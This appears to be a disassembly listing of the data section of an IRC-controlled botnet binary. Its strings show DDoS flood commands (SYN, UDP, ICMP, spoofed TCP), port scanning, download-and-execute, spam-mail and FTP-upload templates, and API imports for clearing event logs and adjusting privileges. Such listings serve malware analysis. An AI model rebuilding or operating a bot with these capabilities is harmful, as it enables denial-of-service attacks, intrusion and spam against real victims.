unk_4438B4 db 2Dh ; - ; DATA XREF: sub_401CC1+67F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aActionSS_ db 'Action: %s: %s.',0
aCycle db 'cycle',0 ; DATA XREF: sub_401CC1+40B2o
align 4
aCy db 'cy',0 ; DATA XREF: sub_401CC1+40C9o
align 4
a332_2 db '332',0 ; DATA XREF: sub_401CC1+6736o
aPartS_1 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+674Do
align 4
aJoinSS_2 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+677Ao
align 4
dword_4438FC dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h
; DATA XREF: sub_401CC1+6787o
aMode_0 db 'mode',0 ; DATA XREF: sub_401CC1+40E0o
align 4
aM: ; DATA XREF: sub_401CC1+40F7o
unicode 0, <m>,0
aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6713o
align 4
unk_443928 db 2Dh ; - ; DATA XREF: sub_401CC1+6721o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aModeChangeS db 'Mode change: %s',0
aC_raw db 'c_raw',0 ; DATA XREF: sub_401CC1+410Eo
align 4
aC_r db 'c_r',0 ; DATA XREF: sub_401CC1+4125o
aS_16 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+66CBo
align 4
dword_443958 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h
; DATA XREF: sub_401CC1+66EAo
dd 25203A29h, 73h
aC_mode db 'c_mode',0 ; DATA XREF: sub_401CC1+413Co
align 4
aC_m db 'c_m',0 ; DATA XREF: sub_401CC1+4153o
aModeS db 'MODE %s',0 ; DATA XREF: sub_401CC1+662Ao
aS_15 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6660o
align 10h
dword_443990 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_401CC1+667Fo
dd 203A2973h, 7325h
aC_nick db 'c_nick',0 ; DATA XREF: sub_401CC1+416Ao
align 4
aC_n db 'c_n',0 ; DATA XREF: sub_401CC1+4181o
aNickS_4 db 'NICK %s',0 ; DATA XREF: sub_401CC1+65A2o
aS_14 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+65D7o
align 4
dword_4439C8 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_401CC1+65F8o
dd 203A2973h, 7325h
aC_join db 'c_join',0 ; DATA XREF: sub_401CC1+4198o
align 4
aC_j db 'c_j',0 ; DATA XREF: sub_401CC1+41AFo
aJoinSS_1 db 'JOIN %s %s',0 ; DATA XREF: sub_401CC1+655Do
align 4
aS_13 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+6592o
align 4
aC_part db 'c_part',0 ; DATA XREF: sub_401CC1+41C6o
align 4
aC_p db 'c_p',0 ; DATA XREF: sub_401CC1+41DDo
aPartS_0 db 'PART %s',0 ; DATA XREF: sub_401CC1+64F6o
aS_12 db '%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC1+652Bo
align 10h
aTarga3 db 'targa3',0 ; DATA XREF: sub_401CC1+41F4o
align 4
aT3 db 't3',0 ; DATA XREF: sub_401CC1+420Bo
align 4
dword_443A2C dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401CC1+646Eo
aFloodingSForSS db '- Flooding %s for %s seconds.',0
align 4
dword_443A58 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401CC1+64E3o
aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 4
aTsunami db 'tsunami',0 ; DATA XREF: sub_401CC1+4222o
aTsn db 'tsn',0 ; DATA XREF: sub_401CC1+4239o
unk_443AA0 db 2Dh ; - ; DATA XREF: sub_401CC1+6376o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
unk_443AD4 db 2Dh ; - ; DATA XREF: sub_401CC1+63E7o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0
align 10h
aRepeat db 'repeat',0 ; DATA XREF: sub_401CC1+4250o
align 4
aRp db 'rp',0 ; DATA XREF: sub_401CC1+4267o
align 4
a332_1 db '332',0 ; DATA XREF: sub_401CC1+6254o
aRepeat_0 db 'repeat',0 ; DATA XREF: sub_401CC1+6282o
align 4
aSSSS_0 db '%s %s %s :%s',0 ; DATA XREF: sub_401CC1+62ADo
align 4
dword_443B38 dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h
; DATA XREF: sub_401CC1+62D3o
dd 7325h
unk_443B50 db 2Dh ; - ; DATA XREF: sub_401CC1+6310o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRepeatNotAllow db 'Repeat not allowed in command line: %s',0
align 4
aDelay db 'delay',0 ; DATA XREF: sub_401CC1+427Eo
align 4
aDe db 'de',0 ; DATA XREF: sub_401CC1+4295o
align 10h
a332_0 db '332',0 ; DATA XREF: sub_401CC1+61B9o
aSSSS db '%s %s %s :%s',0 ; DATA XREF: sub_401CC1+61FAo
align 4
dword_443BA4 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h
; DATA XREF: sub_401CC1:loc_407EFBo
aUpdate db 'update',0 ; DATA XREF: sub_401CC1+42ACo
align 10h
aU11p db 'u11p',0 ; DATA XREF: sub_401CC1+42C3o
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401CC1+607Fo
align 4
dword_443BD4 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401CC1+6122o
aDownloadingUpd db '- Downloading update from: %s.',0
align 10h
dword_443C00 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401CC1+6191o
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
dword_443C3C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401CC1:loc_407E5Co
aBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 4
aExecute db 'execute',0 ; DATA XREF: sub_401CC1+42DAo
aE: ; DATA XREF: sub_401CC1+42F1o
unicode 0, <e>,0
unk_443C90 db 2Dh ; - ; DATA XREF: sub_401CC1+6015o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
dword_443CB4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_401CC1+6020o
dd 7325203Ah, 0
aRename db 'rename',0 ; DATA XREF: sub_401CC1+4308o
align 4
aMv db 'mv',0 ; DATA XREF: sub_401CC1+431Fo
align 4
unk_443CDC db 2Dh ; - ; DATA XREF: sub_401CC1+5F3Ao
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 10h
dword_443D00 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401CC1:loc_407C10o
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401CC1+4336o
align 4
aIcmp db 'icmp',0 ; DATA XREF: sub_401CC1+434Do
align 10h
unk_443D20 db 2Dh ; - ; DATA XREF: sub_401CC1+5E98o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
unk_443D4C db 2Dh ; - ; DATA XREF: sub_401CC1+5F0Eo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_443D84 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_407BD9o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 4
aClone_0 db 'clone',0 ; DATA XREF: sub_401CC1+4376o
align 4
aC: ; DATA XREF: sub_401CC1+438Do
unicode 0, <c>,0
dword_443DC8 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401CC1+5DB2o
aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 4
dword_443DF8 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401CC1+5E21o
aFailedToStartC db '- Failed to start clone thread, error: <%d>.',0
align 4
aUsa_syn db 'usa.syn',0 ; DATA XREF: sub_401CC1+43A4o
aUsa_ack db 'usa.ack',0 ; DATA XREF: sub_401CC1+43BBo
aUsa_rm db 'usa.rm',0 ; DATA XREF: sub_401CC1+43D2o
align 4
unk_443E4C db 2Dh ; - ; DATA XREF: sub_401CC1+5CC1o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 4
unk_443E7C db 2Dh ; - ; DATA XREF: sub_401CC1+5D39o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToSta_13 db 'Failed to start flood thread, error: <%d>.',0
align 4
aWis_u db 'wis.u',0 ; DATA XREF: sub_401CC1+43E9o
align 4
unk_443EBC db 2Dh ; - ; DATA XREF: sub_401CC1+44C0o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0
align 4
aSfnfff db 'sfnfff',0 ; DATA XREF: sub_401CC1+44CDo
align 4
aSy1 db 'sy1',0 ; DATA XREF: sub_401CC1+44E4o
unk_443F08 db 2Dh ; - ; DATA XREF: sub_401CC1+5BC8o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 4
unk_443F38 db 2Dh ; - ; DATA XREF: sub_401CC1+5C40o
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0
align 10h
aSkysyn db 'skysyn',0 ; DATA XREF: sub_401CC1+44FBo
align 4
dword_443F78 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401CC1+4575o
aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
dword_443FA8 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401CC1+45EDo
aFailedToSta_16 db '- Failed to start flood thread, error: <%d>.',0
align 4
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401CC1+45FAo
align 10h
aWonk db 'wonk',0 ; DATA XREF: sub_401CC1+4611o
align 4
unk_443FF8 db 2Dh ; - ; DATA XREF: sub_401CC1+5AE0o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_444034 db 2Dh ; - ; DATA XREF: sub_401CC1+5B58o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToSta_17 db 'Failed to start flood thread, error: <%d>.',0
align 4
aDownload1 db 'download1',0 ; DATA XREF: sub_401CC1+4628o
align 4
aD1 db 'd1',0 ; DATA XREF: sub_401CC1+463Fo
align 4
unk_44407C db 2Dh ; - ; DATA XREF: sub_401CC1+5A01o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadingUrl db 'Downloading URL: %s to: %s.',0
unk_4440A8 db 2Dh ; - ; DATA XREF: sub_401CC1+5A70o
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0
align 4
aRedirect db 'redirect',0 ; DATA XREF: sub_401CC1+4656o
align 4
aRd db 'rd',0 ; DATA XREF: sub_401CC1+466Do
align 4
unk_4440F8 db 2Dh ; - ; DATA XREF: sub_401CC1+58C6o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_444134 db 2Dh ; - ; DATA XREF: sub_401CC1+5935o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
aScan db 'scan',0 ; DATA XREF: sub_401CC1+4684o
align 10h
aSc db 'sc',0 ; DATA XREF: sub_401CC1+469Bo
align 4
unk_444184 db 2Dh ; - ; DATA XREF: sub_401CC1+57CCo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0
align 10h
unk_4441C0 db 2Dh ; - ; DATA XREF: sub_401CC1+583Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_18 db 'Failed to start scan thread, error: <%d>.',0
align 4
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401CC1+46B2o
align 4
aC_pm db 'c_pm',0 ; DATA XREF: sub_401CC1+46C9o
align 4
aSSS db '[%s] <%s> %s',0 ; DATA XREF: sub_401CC1+5748o
align 4
aC_action db 'c_action',0 ; DATA XREF: sub_401CC1+46E0o
align 4
aC_a db 'c_a',0 ; DATA XREF: sub_401CC1+46F7o
dword_44422C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401CC1+55C0o
dword_444238 dd 5D73255Bh, 25202A20h, 73252073h, 0 ; DATA XREF: sub_401CC1+564Eo
aPortscan db 'portscan',0 ; DATA XREF: sub_401CC1+471Do
align 4
aPsc db 'psc',0 ; DATA XREF: sub_401CC1+4734o
unk_444258 db 2Dh ; - ; DATA XREF: sub_401CC1+54F2o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 4
unk_4442A8 db 2Dh ; - ; DATA XREF: sub_401CC1+5561o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_19 db 'Failed to start scan thread, error: <%d>.',0
align 4
aAdvscan db 'advscan',0 ; DATA XREF: sub_401CC1+474Bo
aVvv db 'vvv',0 ; DATA XREF: sub_401CC1+4762o
unk_4442F0 db 2Dh ; - ; DATA XREF: sub_401CC1+4FB8o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aAlreadyDScan_0 db 'Already %d scanning threads. Too many specified.',0
align 10h
unk_444330 db 2Dh ; - ; DATA XREF: sub_401CC1+5219o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_20 db 'Failed to start scan, port is invalid.',0
align 4
unk_444364 db 2Dh ; - ; DATA XREF: sub_401CC1+5276o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_21 db 'Failed to start scan, no IP specified.',0
align 4
aRandom_1 db 'Random',0 ; DATA XREF: sub_401CC1+53BAo
align 10h
aSequential_0 db 'Sequential',0 ; DATA XREF: sub_401CC1+53C1o
align 4
unk_4443AC db 2Dh ; - ; DATA XREF: sub_401CC1+53ECo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSPortScanSta_0 db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
db 'inutes using %d threads.',0
align 4
unk_444414 db 2Dh ; - ; DATA XREF: sub_401CC1+545Bo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_22 db 'Failed to start scan thread, error: <%d>.',0
align 4
aUdpflood db 'udpflood',0 ; DATA XREF: sub_401CC1+4779o
align 4
aPu1 db 'pu1',0 ; DATA XREF: sub_401CC1+4790o
aU: ; DATA XREF: sub_401CC1+47A7o
unicode 0, <u>,0
unk_444460 db 2Dh ; - ; DATA XREF: sub_401CC1+4EEEo
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
unk_4444A8 db 2Dh ; - ; DATA XREF: sub_401CC1+4F59o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToSta_23 db '- Failed to start flood thread, error: <%d>.',0
align 10h
aNetsend db 'netsend',0 ; DATA XREF: sub_401CC1+47BEo
aNs db 'ns',0 ; DATA XREF: sub_401CC1+47D5o
align 4
unk_4444EC db 2Dh ; - ; DATA XREF: sub_401CC1+4D46o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
unk_444528 db 2Dh ; - ; DATA XREF: sub_401CC1+4DE8o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 10h
unk_444560 db 2Dh ; - ; DATA XREF: sub_401CC1+4E0Co
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 4
unk_444594 db 2Dh ; - ; DATA XREF: sub_401CC1+4E40o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 4
aPingflood db 'pingflood',0 ; DATA XREF: sub_401CC1+47ECo
align 4
aPing_0 db 'ping',0 ; DATA XREF: sub_401CC1+4803o
align 4
aP: ; DATA XREF: sub_401CC1+481Ao
unicode 0, <p>,0
unk_4445E0 db 2Dh ; - ; DATA XREF: sub_401CC1+4CA5o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 4
unk_444628 db 2Dh ; - ; DATA XREF: sub_401CC1+4D14o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToSta_24 db 'Failed to start flood thread, error: <%d>.',0
align 10h
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401CC1+4D29o
align 4
aTfpff db 'tfpff',0 ; DATA XREF: sub_401CC1+4831o
align 10h
aUsa db 'usa',0 ; DATA XREF: sub_401CC1+4848o
aSyn db 'syn',0 ; DATA XREF: sub_401CC1+4A7Co
aAck db 'ack',0 ; DATA XREF: sub_401CC1+4A94o
aRandom_0 db 'random',0 ; DATA XREF: sub_401CC1+4AABo
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401CC1+4B50o
aNormal db 'Normal',0 ; DATA XREF: sub_401CC1+4B57o
align 4
unk_4446A4 db 2Dh ; - ; DATA XREF: sub_401CC1+4B67o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
unk_4446D8 db 2Dh ; - ; DATA XREF: sub_401CC1+4BE1o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_25 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_444710 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_4068BBo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 4
unk_444748 db 2Dh ; - ; DATA XREF: sub_401CC1+4ABBo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 4
aEmail db 'email',0 ; DATA XREF: sub_401CC1+485Fo
align 4
asc_44477C: ; DATA XREF: sub_401CC1+48A9o
unicode 0, < >,0
a__0: ; DATA XREF: sub_401CC1+48AEo
unicode 0, <_>,0
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401CC1+494Ao
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
unk_4447D0 db 2Dh ; - ; DATA XREF: sub_401CC1+49BEo
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: sub_401CC1+4A0Do
aHcon db 'hcon',0 ; DATA XREF: sub_401CC1+4A20o
align 4
aUpload db 'upload',0 ; DATA XREF: sub_401CC1+4FEEo
align 4
unk_44480C db 2Dh ; - ; DATA XREF: sub_401CC1+5011o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401CC1+506Ao
align 4
aAb db 'ab',0 ; DATA XREF: sub_401CC1+507Bo
align 10h
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401CC1+509Fo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aSS_0 db '-s:%s',0 ; DATA XREF: sub_401CC1+50BFo
align 4
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401CC1+50D6o
aOpen_0 db 'open',0 ; DATA XREF: sub_401CC1+50DBo
align 4
unk_44487C db 2Dh ; - ; DATA XREF: sub_401CC1+50EDo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s',0
align 4
unk_4448A4 db 2Dh ; - ; DATA XREF: sub_401CC1:loc_406DB5o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s failed.',0
align 4
aNotice_3 db 'NOTICE',0 ; DATA XREF: sub_408EB9+Fo
align 4
aPrivmsg_2 db 'PRIVMSG',0 ; DATA XREF: sub_408EB9+16o
aS_18 db '%s',0 ; DATA XREF: sub_408EB9+3Bo
align 4
aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_408EB9+58o
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_408F54+Ao
align 4
aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_408F54+23o
align 4
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_408F54+2Bo
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_408F54+38o
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_408F54+45o
align 10h
aModule32first db 'Module32First',0 ; DATA XREF: sub_408F54+52o
align 10h
aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_408F54+5Fo
aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_408F54+6Co
aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_408F54+79o
align 4
aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_408F54+86o
aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_408F54+93o
aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_408F54+A0o
align 4
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_408F54:loc_40905Co
align 4
aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_408F54:loc_409089o
align 10h
aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_408F54+14Ao
align 10h
aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_408F54+152o
aIswindow db 'IsWindow',0 ; DATA XREF: sub_408F54+15Fo
align 4
aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_408F54+16Co
align 4
aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_408F54+179o
align 4
aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_408F54+186o
align 4
aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_408F54+193o
align 4
aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_408F54+1A0o
align 4
aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_408F54:loc_409159o
align 4
aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_408F54+216o
align 4
aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_408F54+21Eo
aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_408F54+22Bo
align 4
aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_408F54+238o
align 10h
aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_408F54+245o
aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_408F54+252o
aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_408F54+25Fo
align 4
aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_408F54+26Co
align 4
aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_408F54:loc_40920Co
align 10h
aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_408F54+2C0o
align 4
aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_408F54+2CDo
align 10h
aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_408F54:loc_409251o
align 10h
aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_408F54+305o
align 10h
aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_408F54+312o
align 10h
aControlservice db 'ControlService',0 ; DATA XREF: sub_408F54+31Fo
align 10h
aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_408F54+32Co
align 10h
aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_408F54+339o
align 4
aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_408F54+346o
aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_408F54+353o
align 4
aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_408F54:loc_4092FFo
align 4
aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_408F54:loc_409327o
align 10h
aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_408F54+3E4o
align 4
aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_408F54+3ECo
align 10h
aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_408F54+3F9o
align 4
aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_408F54+406o
align 4
aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_408F54+413o
align 4
aSelectobject db 'SelectObject',0 ; DATA XREF: sub_408F54+420o
align 4
aBitblt db 'BitBlt',0 ; DATA XREF: sub_408F54+42Do
align 10h
aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_408F54+43Ao
align 4
aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_408F54+447o
align 4
aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_408F54+4BAo
align 4
aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_408F54+4CBo
align 4
aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_408F54+4D3o
align 10h
aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_408F54+4E0o
align 10h
a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_408F54+4EDo
align 10h
aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_408F54+4FAo
align 4
aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_408F54+507o
aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_408F54+514o
align 4
aSocket db 'socket',0 ; DATA XREF: sub_408F54+521o
align 10h
aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_408F54+52Eo
aConnect db 'connect',0 ; DATA XREF: sub_408F54+53Bo
aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_408F54+548o
align 10h
aInet_addr db 'inet_addr',0 ; DATA XREF: sub_408F54+555o
align 4
aHtons db 'htons',0 ; DATA XREF: sub_408F54+562o
align 4
aHtonl db 'htonl',0 ; DATA XREF: sub_408F54+56Fo
align 4
